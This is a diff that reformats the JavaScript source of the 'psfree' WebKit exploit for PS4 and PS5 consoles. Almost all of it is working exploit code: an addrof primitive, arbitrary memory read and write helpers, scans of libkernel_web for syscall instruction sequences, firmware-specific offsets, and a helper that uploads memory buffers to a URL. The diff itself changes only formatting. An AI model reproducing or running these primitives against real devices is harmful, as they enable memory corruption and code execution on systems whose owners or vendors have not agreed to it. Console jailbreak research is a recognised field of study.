low = low.substring(0, 4) + '_' + low.substring(4);
|
low = `${low.substring(0, 4)}_${low.substring(4)}`;
|
||||||
|
|
||||||
return '0x' + high + '_' + low;
|
return `0x${high}_${low}`;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,8 +15,8 @@ GNU Affero General Public License for more details.
|
|||||||
You should have received a copy of the GNU Affero General Public License
|
You should have received a copy of the GNU Affero General Public License
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||||
|
|
||||||
import { Int, lohi_from_one } from './int64.mjs';
|
import { Int, lohi_from_one } from "./int64.mjs";
|
||||||
import { view_m_vector, view_m_length } from './offset.mjs';
|
import { view_m_vector, view_m_length } from "./offset.mjs";
|
||||||
|
|
||||||
export let mem = null;
|
export let mem = null;
|
||||||
|
|
||||||
@@ -205,7 +205,7 @@ export class Memory {
|
|||||||
// dst and src may overlap
|
// dst and src may overlap
|
||||||
cpy(dst, src, len) {
|
cpy(dst, src, len) {
|
||||||
if (!(isInteger(len) && 0 <= len && len <= 0xffffffff)) {
|
if (!(isInteger(len) && 0 <= len && len <= 0xffffffff)) {
|
||||||
throw TypeError('len not a unsigned 32-bit integer');
|
throw TypeError("len not a unsigned 32-bit integer");
|
||||||
}
|
}
|
||||||
|
|
||||||
const dvals = lohi_from_one(dst);
|
const dvals = lohi_from_one(dst);
|
||||||
@@ -229,16 +229,16 @@ export class Memory {
|
|||||||
// memory
|
// memory
|
||||||
gc_alloc(size) {
|
gc_alloc(size) {
|
||||||
if (!isInteger(size)) {
|
if (!isInteger(size)) {
|
||||||
throw TypeError('size not a integer');
|
throw TypeError("size not a integer");
|
||||||
}
|
}
|
||||||
if (size < 0) {
|
if (size < 0) {
|
||||||
throw RangeError('size is negative');
|
throw RangeError("size is negative");
|
||||||
}
|
}
|
||||||
|
|
||||||
const fastLimit = 1000;
|
const fastLimit = 1000;
|
||||||
size = (size + 7 & ~7) >> 3;
|
size = ((size + 7) & ~7) >> 3;
|
||||||
if (size > fastLimit) {
|
if (size > fastLimit) {
|
||||||
throw RangeError('size is too large');
|
throw RangeError("size is too large");
|
||||||
}
|
}
|
||||||
|
|
||||||
const backer = new Float64Array(size);
|
const backer = new Float64Array(size);
|
||||||
@@ -260,10 +260,8 @@ export class Memory {
|
|||||||
addrof(object) {
|
addrof(object) {
|
||||||
// typeof considers null as a object. blacklist it as it isn't a
|
// typeof considers null as a object. blacklist it as it isn't a
|
||||||
// JSObject
|
// JSObject
|
||||||
if (object === null
|
if (object === null || (typeof object !== "object" && typeof object !== "function")) {
|
||||||
|| (typeof object !== 'object' && typeof object !== 'function')
|
throw TypeError("argument not a JS object");
|
||||||
) {
|
|
||||||
throw TypeError('argument not a JS object');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const obj = this._obj;
|
const obj = this._obj;
|
||||||
@@ -275,10 +273,7 @@ export class Memory {
|
|||||||
main[off_vector] = this._addr_low;
|
main[off_vector] = this._addr_low;
|
||||||
main[off_vector2] = this._addr_high;
|
main[off_vector2] = this._addr_high;
|
||||||
|
|
||||||
const res = new Addr(
|
const res = new Addr(worker.getUint32(0, true), worker.getUint32(4, true));
|
||||||
worker.getUint32(0, true),
|
|
||||||
worker.getUint32(4, true),
|
|
||||||
);
|
|
||||||
obj.addr = null;
|
obj.addr = null;
|
||||||
|
|
||||||
return res;
|
return res;
|
||||||
@@ -333,45 +328,39 @@ export class Memory {
|
|||||||
|
|
||||||
read8_at(offset) {
|
read8_at(offset) {
|
||||||
if (!isInteger(offset)) {
|
if (!isInteger(offset)) {
|
||||||
throw TypeError('offset not a integer');
|
throw TypeError("offset not a integer");
|
||||||
}
|
}
|
||||||
return this._worker.getUint8(offset);
|
return this._worker.getUint8(offset);
|
||||||
}
|
}
|
||||||
|
|
||||||
read16_at(offset) {
|
read16_at(offset) {
|
||||||
if (!isInteger(offset)) {
|
if (!isInteger(offset)) {
|
||||||
throw TypeError('offset not a integer');
|
throw TypeError("offset not a integer");
|
||||||
}
|
}
|
||||||
return this._worker.getUint16(offset, true);
|
return this._worker.getUint16(offset, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
read32_at(offset) {
|
read32_at(offset) {
|
||||||
if (!isInteger(offset)) {
|
if (!isInteger(offset)) {
|
||||||
throw TypeError('offset not a integer');
|
throw TypeError("offset not a integer");
|
||||||
}
|
}
|
||||||
return this._worker.getUint32(offset, true);
|
return this._worker.getUint32(offset, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
read64_at(offset) {
|
read64_at(offset) {
|
||||||
if (!isInteger(offset)) {
|
if (!isInteger(offset)) {
|
||||||
throw TypeError('offset not a integer');
|
throw TypeError("offset not a integer");
|
||||||
}
|
}
|
||||||
const worker = this._worker;
|
const worker = this._worker;
|
||||||
return new Int(
|
return new Int(worker.getUint32(offset, true), worker.getUint32(offset + 4, true));
|
||||||
worker.getUint32(offset, true),
|
|
||||||
worker.getUint32(offset + 4, true),
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
readp_at(offset) {
|
readp_at(offset) {
|
||||||
if (!isInteger(offset)) {
|
if (!isInteger(offset)) {
|
||||||
throw TypeError('offset not a integer');
|
throw TypeError("offset not a integer");
|
||||||
}
|
}
|
||||||
const worker = this._worker;
|
const worker = this._worker;
|
||||||
return new Addr(
|
return new Addr(worker.getUint32(offset, true), worker.getUint32(offset + 4, true));
|
||||||
worker.getUint32(offset, true),
|
|
||||||
worker.getUint32(offset + 4, true),
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
write8(addr, value) {
|
write8(addr, value) {
|
||||||
@@ -399,28 +388,28 @@ export class Memory {
|
|||||||
|
|
||||||
write8_at(offset, value) {
|
write8_at(offset, value) {
|
||||||
if (!isInteger(offset)) {
|
if (!isInteger(offset)) {
|
||||||
throw TypeError('offset not a integer');
|
throw TypeError("offset not a integer");
|
||||||
}
|
}
|
||||||
this._worker.setUint8(offset, value);
|
this._worker.setUint8(offset, value);
|
||||||
}
|
}
|
||||||
|
|
||||||
write16_at(offset, value) {
|
write16_at(offset, value) {
|
||||||
if (!isInteger(offset)) {
|
if (!isInteger(offset)) {
|
||||||
throw TypeError('offset not a integer');
|
throw TypeError("offset not a integer");
|
||||||
}
|
}
|
||||||
this._worker.setUint16(offset, value, true);
|
this._worker.setUint16(offset, value, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
write32_at(offset, value) {
|
write32_at(offset, value) {
|
||||||
if (!isInteger(offset)) {
|
if (!isInteger(offset)) {
|
||||||
throw TypeError('offset not a integer');
|
throw TypeError("offset not a integer");
|
||||||
}
|
}
|
||||||
this._worker.setUint32(offset, value, true);
|
this._worker.setUint32(offset, value, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
write64_at(offset, value) {
|
write64_at(offset, value) {
|
||||||
if (!isInteger(offset)) {
|
if (!isInteger(offset)) {
|
||||||
throw TypeError('offset not a integer');
|
throw TypeError("offset not a integer");
|
||||||
}
|
}
|
||||||
const values = lohi_from_one(value);
|
const values = lohi_from_one(value);
|
||||||
const worker = this._worker;
|
const worker = this._worker;
|
||||||
|
|||||||
@@ -17,14 +17,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// This module are for utilities that depend on running the exploit first
|
// This module are for utilities that depend on running the exploit first
|
||||||
|
|
||||||
import { Int } from './int64.mjs';
|
import { Int } from "./int64.mjs";
|
||||||
import { mem } from './mem.mjs';
|
import { mem } from "./mem.mjs";
|
||||||
import { align } from './utils.mjs';
|
import { align } from "./utils.mjs";
|
||||||
import { page_size } from './offset.mjs';
|
import { page_size } from "./offset.mjs";
|
||||||
import { BufferView } from './rw.mjs';
|
import { BufferView } from "./rw.mjs";
|
||||||
import { View1 } from './view.mjs';
|
import { View1 } from "./view.mjs";
|
||||||
|
|
||||||
import * as off from './offset.mjs';
|
import * as off from "./offset.mjs";
|
||||||
|
|
||||||
// creates an ArrayBuffer whose contents is copied from addr
|
// creates an ArrayBuffer whose contents is copied from addr
|
||||||
export function make_buffer(addr, size) {
|
export function make_buffer(addr, size) {
|
||||||
@@ -86,10 +86,7 @@ export function make_buffer(addr, size) {
|
|||||||
function check_magic_at(p, is_text) {
|
function check_magic_at(p, is_text) {
|
||||||
// byte sequence that is very likely to appear at offset 0 of a .text
|
// byte sequence that is very likely to appear at offset 0 of a .text
|
||||||
// segment
|
// segment
|
||||||
const text_magic = [
|
const text_magic = [new Int(0xe5894855, 0x56415741), new Int(0x54415541, 0x8d485053)];
|
||||||
new Int(0xe5894855, 0x56415741),
|
|
||||||
new Int(0x54415541, 0x8d485053),
|
|
||||||
];
|
|
||||||
|
|
||||||
// the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
|
// the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
|
||||||
|
|
||||||
@@ -100,10 +97,7 @@ function check_magic_at(p, is_text) {
|
|||||||
//];
|
//];
|
||||||
|
|
||||||
// .data magic from 8.00 and 8.03
|
// .data magic from 8.00 and 8.03
|
||||||
const data_magic = [
|
const data_magic = [new Int(0x20), new Int(0x3c13f4bf, 0x2)];
|
||||||
new Int(0x20),
|
|
||||||
new Int(0x3c13f4bf, 0x2),
|
|
||||||
];
|
|
||||||
|
|
||||||
const magic = is_text ? text_magic : data_magic;
|
const magic = is_text ? text_magic : data_magic;
|
||||||
const value = [p.read64(0), p.read64(8)];
|
const value = [p.read64(0), p.read64(8)];
|
||||||
@@ -159,9 +153,7 @@ export function get_view_vector(view) {
|
|||||||
|
|
||||||
export function resolve_import(import_addr) {
|
export function resolve_import(import_addr) {
|
||||||
if (import_addr.read16(0) !== 0x25ff) {
|
if (import_addr.read16(0) !== 0x25ff) {
|
||||||
throw Error(
|
throw Error(`instruction at ${import_addr} is not of the form: jmp qword [rip + X]`);
|
||||||
`instruction at ${import_addr} is not of the form: jmp qword`
|
|
||||||
+ ' [rip + X]');
|
|
||||||
}
|
}
|
||||||
// module_function_import:
|
// module_function_import:
|
||||||
// jmp qword [rip + X]
|
// jmp qword [rip + X]
|
||||||
@@ -179,23 +171,15 @@ export function resolve_import(import_addr) {
|
|||||||
return function_addr;
|
return function_addr;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function init_syscall_array(
|
export function init_syscall_array(syscall_array, libkernel_web_base, max_search_size) {
|
||||||
syscall_array,
|
|
||||||
libkernel_web_base,
|
|
||||||
max_search_size,
|
|
||||||
) {
|
|
||||||
if (!Number.isInteger(max_search_size)) {
|
if (!Number.isInteger(max_search_size)) {
|
||||||
throw TypeError(
|
throw TypeError(`max_search_size is not a integer: ${max_search_size}`);
|
||||||
`max_search_size is not a integer: ${max_search_size}`);
|
|
||||||
}
|
}
|
||||||
if (max_search_size < 0) {
|
if (max_search_size < 0) {
|
||||||
throw Error(`max_search_size is less than 0: ${max_search_size}`);
|
throw Error(`max_search_size is less than 0: ${max_search_size}`);
|
||||||
}
|
}
|
||||||
|
|
||||||
const libkernel_web_buffer = make_buffer(
|
const libkernel_web_buffer = make_buffer(libkernel_web_base, max_search_size);
|
||||||
libkernel_web_base,
|
|
||||||
max_search_size,
|
|
||||||
);
|
|
||||||
const kbuf = new BufferView(libkernel_web_buffer);
|
const kbuf = new BufferView(libkernel_web_buffer);
|
||||||
|
|
||||||
// Search 'rdlo' string from libkernel_web's .rodata section to gain an
|
// Search 'rdlo' string from libkernel_web's .rodata section to gain an
|
||||||
@@ -203,20 +187,14 @@ export function init_syscall_array(
|
|||||||
let text_size = 0;
|
let text_size = 0;
|
||||||
let found = false;
|
let found = false;
|
||||||
for (let i = 0; i < max_search_size; i++) {
|
for (let i = 0; i < max_search_size; i++) {
|
||||||
if (kbuf[i] === 0x72
|
if (kbuf[i] === 0x72 && kbuf[i + 1] === 0x64 && kbuf[i + 2] === 0x6c && kbuf[i + 3] === 0x6f) {
|
||||||
&& kbuf[i + 1] === 0x64
|
|
||||||
&& kbuf[i + 2] === 0x6c
|
|
||||||
&& kbuf[i + 3] === 0x6f
|
|
||||||
) {
|
|
||||||
text_size = i;
|
text_size = i;
|
||||||
found = true;
|
found = true;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (!found) {
|
if (!found) {
|
||||||
throw Error(
|
throw Error(`"rdlo" string not found in libkernel_web, base address: ${libkernel_web_base}`);
|
||||||
'"rdlo" string not found in libkernel_web, base address:'
|
|
||||||
+ ` ${libkernel_web_base}`);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// search for the instruction sequence:
|
// search for the instruction sequence:
|
||||||
@@ -225,15 +203,7 @@ export function init_syscall_array(
|
|||||||
// mov r10, rcx
|
// mov r10, rcx
|
||||||
// syscall
|
// syscall
|
||||||
for (let i = 0; i < text_size; i++) {
|
for (let i = 0; i < text_size; i++) {
|
||||||
if (kbuf[i] === 0x48
|
if (kbuf[i] === 0x48 && kbuf[i + 1] === 0xc7 && kbuf[i + 2] === 0xc0 && kbuf[i + 7] === 0x49 && kbuf[i + 8] === 0x89 && kbuf[i + 9] === 0xca && kbuf[i + 10] === 0x0f && kbuf[i + 11] === 0x05) {
|
||||||
&& kbuf[i + 1] === 0xc7
|
|
||||||
&& kbuf[i + 2] === 0xc0
|
|
||||||
&& kbuf[i + 7] === 0x49
|
|
||||||
&& kbuf[i + 8] === 0x89
|
|
||||||
&& kbuf[i + 9] === 0xca
|
|
||||||
&& kbuf[i + 10] === 0x0f
|
|
||||||
&& kbuf[i + 11] === 0x05
|
|
||||||
) {
|
|
||||||
const syscall_num = kbuf.read32(i + 3);
|
const syscall_num = kbuf.read32(i + 3);
|
||||||
syscall_array[syscall_num] = libkernel_web_base.add(i);
|
syscall_array[syscall_num] = libkernel_web_base.add(i);
|
||||||
// skip the sequence
|
// skip the sequence
|
||||||
@@ -246,11 +216,11 @@ export function init_syscall_array(
|
|||||||
//
|
//
|
||||||
// string to view since it's easier to get the address of the buffer this way
|
// string to view since it's easier to get the address of the buffer this way
|
||||||
export function cstr(str) {
|
export function cstr(str) {
|
||||||
str += '\0';
|
str += "\0";
|
||||||
return View1.from(str, c => c.codePointAt(0));
|
return View1.from(str, (c) => c.codePointAt(0));
|
||||||
}
|
}
|
||||||
|
|
||||||
// we are re-exporting this since users that want to use cstr() usually want
|
// we are re-exporting this since users that want to use cstr() usually want
|
||||||
// jstr() as well. they are likely working with functions that take/return
|
// jstr() as well. they are likely working with functions that take/return
|
||||||
// strings
|
// strings
|
||||||
export { jstr } from './utils.mjs';
|
export { jstr } from "./utils.mjs";
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ GNU Affero General Public License for more details.
|
|||||||
You should have received a copy of the GNU Affero General Public License
|
You should have received a copy of the GNU Affero General Public License
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||||
|
|
||||||
import { Int, lohi_from_one } from './int64.mjs';
|
import { Int, lohi_from_one } from "./int64.mjs";
|
||||||
|
|
||||||
// DataView's accessors are constant time and are faster when doing multi-byte
|
// DataView's accessors are constant time and are faster when doing multi-byte
|
||||||
// accesses but the single-byte accessors are slightly slower compared to just
|
// accesses but the single-byte accessors are slightly slower compared to just
|
||||||
@@ -41,10 +41,7 @@ export class BufferView extends Uint8Array {
|
|||||||
}
|
}
|
||||||
|
|
||||||
read64(offset) {
|
read64(offset) {
|
||||||
return new Int(
|
return new Int(this._dview.getUint32(offset, true), this._dview.getUint32(offset + 4, true));
|
||||||
this._dview.getUint32(offset, true),
|
|
||||||
this._dview.getUint32(offset + 4, true),
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
write16(offset, value) {
|
write16(offset, value) {
|
||||||
@@ -90,7 +87,7 @@ export class BufferView extends Uint8Array {
|
|||||||
function read(u8_view, offset, size) {
|
function read(u8_view, offset, size) {
|
||||||
let res = 0;
|
let res = 0;
|
||||||
for (let i = 0; i < size; i++) {
|
for (let i = 0; i < size; i++) {
|
||||||
res += u8_view[offset + i] << i*8;
|
res += u8_view[offset + i] << (i * 8);
|
||||||
}
|
}
|
||||||
// << returns a signed integer, >>> converts it to unsigned
|
// << returns a signed integer, >>> converts it to unsigned
|
||||||
return res >>> 0;
|
return res >>> 0;
|
||||||
@@ -111,7 +108,7 @@ export function read64(u8_view, offset) {
|
|||||||
// for writes less than 8 bytes
|
// for writes less than 8 bytes
|
||||||
function write(u8_view, offset, value, size) {
|
function write(u8_view, offset, value, size) {
|
||||||
for (let i = 0; i < size; i++) {
|
for (let i = 0; i < size; i++) {
|
||||||
u8_view[offset + i] = (value >>> i*8) & 0xff;
|
u8_view[offset + i] = (value >>> (i * 8)) & 0xff;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -125,16 +122,16 @@ export function write32(u8_view, offset, value) {
|
|||||||
|
|
||||||
export function write64(u8_view, offset, value) {
|
export function write64(u8_view, offset, value) {
|
||||||
if (!(value instanceof Int)) {
|
if (!(value instanceof Int)) {
|
||||||
throw TypeError('write64 value must be an Int');
|
throw TypeError("write64 value must be an Int");
|
||||||
}
|
}
|
||||||
|
|
||||||
let low = value.lo;
|
let low = value.lo;
|
||||||
let high = value.hi;
|
let high = value.hi;
|
||||||
|
|
||||||
for (let i = 0; i < 4; i++) {
|
for (let i = 0; i < 4; i++) {
|
||||||
u8_view[offset + i] = (low >>> i*8) & 0xff;
|
u8_view[offset + i] = (low >>> (i * 8)) & 0xff;
|
||||||
}
|
}
|
||||||
for (let i = 0; i < 4; i++) {
|
for (let i = 0; i < 4; i++) {
|
||||||
u8_view[offset + 4 + i] = (high >>> i*8) & 0xff;
|
u8_view[offset + 4 + i] = (high >>> (i * 8)) & 0xff;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ GNU Affero General Public License for more details.
|
|||||||
You should have received a copy of the GNU Affero General Public License
|
You should have received a copy of the GNU Affero General Public License
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||||
|
|
||||||
import { Int } from './int64.mjs';
|
import { Int } from "./int64.mjs";
|
||||||
|
|
||||||
export class DieError extends Error {
|
export class DieError extends Error {
|
||||||
constructor(...args) {
|
constructor(...args) {
|
||||||
@@ -24,13 +24,13 @@ export class DieError extends Error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
export function die(msg='') {
|
export function die(msg = "") {
|
||||||
throw new DieError(msg);
|
throw new DieError(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
const console = document.getElementById('console');
|
const console = document.getElementById("console");
|
||||||
export function log(msg='') {
|
export function log(msg = "") {
|
||||||
console.append(msg + '\n');
|
console.append(`${msg}\n`);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function clear_log() {
|
export function clear_log() {
|
||||||
@@ -49,16 +49,12 @@ export function align(a, alignment) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
export async function send(url, buffer, file_name, onload = () => {}) {
|
export async function send(url, buffer, file_name, onload = () => {}) {
|
||||||
const file = new File(
|
const file = new File([buffer], file_name, { type: "application/octet-stream" });
|
||||||
[buffer],
|
|
||||||
file_name,
|
|
||||||
{type:'application/octet-stream'}
|
|
||||||
);
|
|
||||||
const form = new FormData();
|
const form = new FormData();
|
||||||
form.append('upload', file);
|
form.append("upload", file);
|
||||||
|
|
||||||
log('send');
|
log("send");
|
||||||
const response = await fetch(url, {method: 'POST', body: form});
|
const response = await fetch(url, { method: "POST", body: form });
|
||||||
|
|
||||||
if (!response.ok) {
|
if (!response.ok) {
|
||||||
throw Error(`Network response was not OK, status: ${response.status}`);
|
throw Error(`Network response was not OK, status: ${response.status}`);
|
||||||
@@ -71,11 +67,11 @@ export async function send(url, buffer, file_name, onload=() => {}) {
|
|||||||
// yielding also lets the DOM update. which is useful since we use the DOM for
|
// yielding also lets the DOM update. which is useful since we use the DOM for
|
||||||
// logging and we loop when waiting for a collection to occur
|
// logging and we loop when waiting for a collection to occur
|
||||||
export function sleep(ms = 0) {
|
export function sleep(ms = 0) {
|
||||||
return new Promise(resolve => setTimeout(resolve, ms));
|
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||||
}
|
}
|
||||||
|
|
||||||
export function hex(number) {
|
export function hex(number) {
|
||||||
return '0x' + number.toString(16);
|
return `0x${number.toString(16)}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
// no "0x" prefix
|
// no "0x" prefix
|
||||||
@@ -93,15 +89,11 @@ export function hexdump(view) {
|
|||||||
if (0x20 <= i && i <= 0x7e) {
|
if (0x20 <= i && i <= 0x7e) {
|
||||||
return String.fromCodePoint(i);
|
return String.fromCodePoint(i);
|
||||||
}
|
}
|
||||||
return '.';
|
return ".";
|
||||||
}
|
}
|
||||||
|
|
||||||
function to_hex(view, offset, length) {
|
function to_hex(view, offset, length) {
|
||||||
return (
|
return [...view.slice(offset, offset + length)].map((e) => hex_np(e).padStart(2, "0")).join(" ");
|
||||||
[...view.slice(offset, offset + length)]
|
|
||||||
.map(e => hex_np(e).padStart(2, '0'))
|
|
||||||
.join(' ')
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let bytes = [];
|
let bytes = [];
|
||||||
@@ -109,7 +101,7 @@ export function hexdump(view) {
|
|||||||
const long1 = to_hex(view, i, 8);
|
const long1 = to_hex(view, i, 8);
|
||||||
const long2 = to_hex(view, i + 8, 8);
|
const long2 = to_hex(view, i + 8, 8);
|
||||||
|
|
||||||
let print = '';
|
let print = "";
|
||||||
for (let j = 0; j < 16; j++) {
|
for (let j = 0; j < 16; j++) {
|
||||||
print += chr(view[j]);
|
print += chr(view[j]);
|
||||||
}
|
}
|
||||||
@@ -124,43 +116,43 @@ export function hexdump(view) {
|
|||||||
let long1 = to_hex(view, num_16, long1_len);
|
let long1 = to_hex(view, num_16, long1_len);
|
||||||
if (small) {
|
if (small) {
|
||||||
for (let i = 0; i < 8 - residue; i++) {
|
for (let i = 0; i < 8 - residue; i++) {
|
||||||
long1 += ' xx';
|
long1 += " xx";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
const long2 = (() => {
|
const long2 = (() => {
|
||||||
if (small) {
|
if (small) {
|
||||||
return Array(8).fill('xx').join(' ');
|
return Array(8).fill("xx").join(" ");
|
||||||
}
|
}
|
||||||
|
|
||||||
let res = to_hex(view, num_16 + 8, residue - 8);
|
let res = to_hex(view, num_16 + 8, residue - 8);
|
||||||
for (let i = 0; i < 16 - residue; i++) {
|
for (let i = 0; i < 16 - residue; i++) {
|
||||||
res += ' xx';
|
res += " xx";
|
||||||
}
|
}
|
||||||
|
|
||||||
return res;
|
return res;
|
||||||
})();
|
})();
|
||||||
|
|
||||||
let print = '';
|
let print = "";
|
||||||
for (let i = 0; i < residue; i++) {
|
for (let i = 0; i < residue; i++) {
|
||||||
print += chr(view[num_16 + i]);
|
print += chr(view[num_16 + i]);
|
||||||
}
|
}
|
||||||
for (let i = 0; i < 16 - residue; i++) {
|
for (let i = 0; i < 16 - residue; i++) {
|
||||||
print += ' ';
|
print += " ";
|
||||||
}
|
}
|
||||||
|
|
||||||
bytes.push([`${long1} ${long2}`, print]);
|
bytes.push([`${long1} ${long2}`, print]);
|
||||||
}
|
}
|
||||||
|
|
||||||
for (const [pos, [val, print]] of bytes.entries()) {
|
for (const [pos, [val, print]] of bytes.entries()) {
|
||||||
const off = hex_np(pos * 16).padStart(max_off_len, '0');
|
const off = hex_np(pos * 16).padStart(max_off_len, "0");
|
||||||
log(`${off} | ${val} |${print}|`);
|
log(`${off} | ${val} |${print}|`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// make a JavaScript string
|
// make a JavaScript string
|
||||||
export function jstr(buffer) {
|
export function jstr(buffer) {
|
||||||
let res = '';
|
let res = "";
|
||||||
for (const item of buffer) {
|
for (const item of buffer) {
|
||||||
if (item === 0) {
|
if (item === 0) {
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -15,12 +15,12 @@ GNU Affero General Public License for more details.
|
|||||||
You should have received a copy of the GNU Affero General Public License
|
You should have received a copy of the GNU Affero General Public License
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||||
|
|
||||||
import { Int, lohi_from_one } from './int64.mjs';
|
import { Int, lohi_from_one } from "./int64.mjs";
|
||||||
import { Addr } from './mem.mjs';
|
import { Addr } from "./mem.mjs";
|
||||||
import { BufferView } from './rw.mjs';
|
import { BufferView } from "./rw.mjs";
|
||||||
|
|
||||||
import * as config from '../config.mjs';
|
import * as config from "../config.mjs";
|
||||||
import * as mt from './memtools.mjs';
|
import * as mt from "./memtools.mjs";
|
||||||
|
|
||||||
// View constructors will always get the buffer property in order to make sure
|
// View constructors will always get the buffer property in order to make sure
|
||||||
// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
|
// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
|
||||||
@@ -128,18 +128,19 @@ if (0x600 <= config.target && config.target < 0x1000) {
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
const VariableMixin = superclass => class extends superclass {
|
const VariableMixin = (superclass) =>
|
||||||
|
class extends superclass {
|
||||||
constructor(value = 0) {
|
constructor(value = 0) {
|
||||||
// unlike the View classes, we don't allow number coercion. we
|
// unlike the View classes, we don't allow number coercion. we
|
||||||
// explicitly allow floats unlike Int
|
// explicitly allow floats unlike Int
|
||||||
if (typeof value !== 'number') {
|
if (typeof value !== "number") {
|
||||||
throw TypeError('value not a number');
|
throw TypeError("value not a number");
|
||||||
}
|
}
|
||||||
super([value]);
|
super([value]);
|
||||||
}
|
}
|
||||||
|
|
||||||
addr_at(...args) {
|
addr_at(...args) {
|
||||||
throw TypeError('unimplemented method');
|
throw TypeError("unimplemented method");
|
||||||
}
|
}
|
||||||
|
|
||||||
[Symbol.toPrimitive](hint) {
|
[Symbol.toPrimitive](hint) {
|
||||||
@@ -184,10 +185,7 @@ export class LongArray {
|
|||||||
get(index) {
|
get(index) {
|
||||||
const buffer = this.buffer;
|
const buffer = this.buffer;
|
||||||
const base = index * 8;
|
const base = index * 8;
|
||||||
return new Int(
|
return new Int(buffer.getUint32(base, true), buffer.getUint32(base + 4, true));
|
||||||
buffer.getUint32(base, true),
|
|
||||||
buffer.getUint32(base + 4, true),
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
set(index, value) {
|
set(index, value) {
|
||||||
@@ -201,7 +199,8 @@ export class LongArray {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// mutable Int (we are explicitly using Int's private fields)
|
// mutable Int (we are explicitly using Int's private fields)
|
||||||
const Word64Mixin = superclass => class extends superclass {
|
const Word64Mixin = (superclass) =>
|
||||||
|
class extends superclass {
|
||||||
constructor(...args) {
|
constructor(...args) {
|
||||||
if (!args.length) {
|
if (!args.length) {
|
||||||
return super(0);
|
return super(0);
|
||||||
|
|||||||
158
src/psfree.mjs
158
src/psfree.mjs
@@ -33,23 +33,15 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
// * Helped in figuring out the size of JSC::ArrayBufferContents and its
|
// * Helped in figuring out the size of JSC::ArrayBufferContents and its
|
||||||
// needed offsets on different firmwares (PS5).
|
// needed offsets on different firmwares (PS5).
|
||||||
|
|
||||||
import { Int } from './module/int64.mjs';
|
import { Int } from "./module/int64.mjs";
|
||||||
import { Memory } from './module/mem.mjs';
|
import { Memory } from "./module/mem.mjs";
|
||||||
import { KB, MB } from './module/offset.mjs';
|
import { KB, MB } from "./module/offset.mjs";
|
||||||
import { BufferView } from './module/rw.mjs';
|
import { BufferView } from "./module/rw.mjs";
|
||||||
|
|
||||||
import {
|
import { die, DieError, log, clear_log, sleep, hex, align } from "./module/utils.mjs";
|
||||||
die,
|
|
||||||
DieError,
|
|
||||||
log,
|
|
||||||
clear_log,
|
|
||||||
sleep,
|
|
||||||
hex,
|
|
||||||
align,
|
|
||||||
} from './module/utils.mjs';
|
|
||||||
|
|
||||||
import * as config from './config.mjs';
|
import * as config from "./config.mjs";
|
||||||
import * as off from './module/offset.mjs';
|
import * as off from "./module/offset.mjs";
|
||||||
|
|
||||||
// check if we are running on a supported firmware version
|
// check if we are running on a supported firmware version
|
||||||
const [is_ps4, version] = (() => {
|
const [is_ps4, version] = (() => {
|
||||||
@@ -87,7 +79,7 @@ const ssv_len = (() => {
|
|||||||
if (0x900 <= version) {
|
if (0x900 <= version) {
|
||||||
return 0x50;
|
return 0x50;
|
||||||
}
|
}
|
||||||
throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? '4' : '5'}, version: ${hex(version)}`);
|
throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? "4" : "5"}, version: ${hex(version)}`);
|
||||||
})();
|
})();
|
||||||
|
|
||||||
// these constants are expected to be divisible by 2
|
// these constants are expected to be divisible by 2
|
||||||
@@ -129,7 +121,7 @@ const num_leaks = 0x100;
|
|||||||
//
|
//
|
||||||
// const num_repeats = ssv_len / 8 - 2;
|
// const num_repeats = ssv_len / 8 - 2;
|
||||||
// const rows = ','.repeat(num_repeats);
|
// const rows = ','.repeat(num_repeats);
|
||||||
const rows = ','.repeat(ssv_len / 8 - 2);
|
const rows = ",".repeat(ssv_len / 8 - 2);
|
||||||
|
|
||||||
const original_strlen = ssv_len - off.size_strimpl;
|
const original_strlen = ssv_len - off.size_strimpl;
|
||||||
const original_loc = location.pathname;
|
const original_loc = location.pathname;
|
||||||
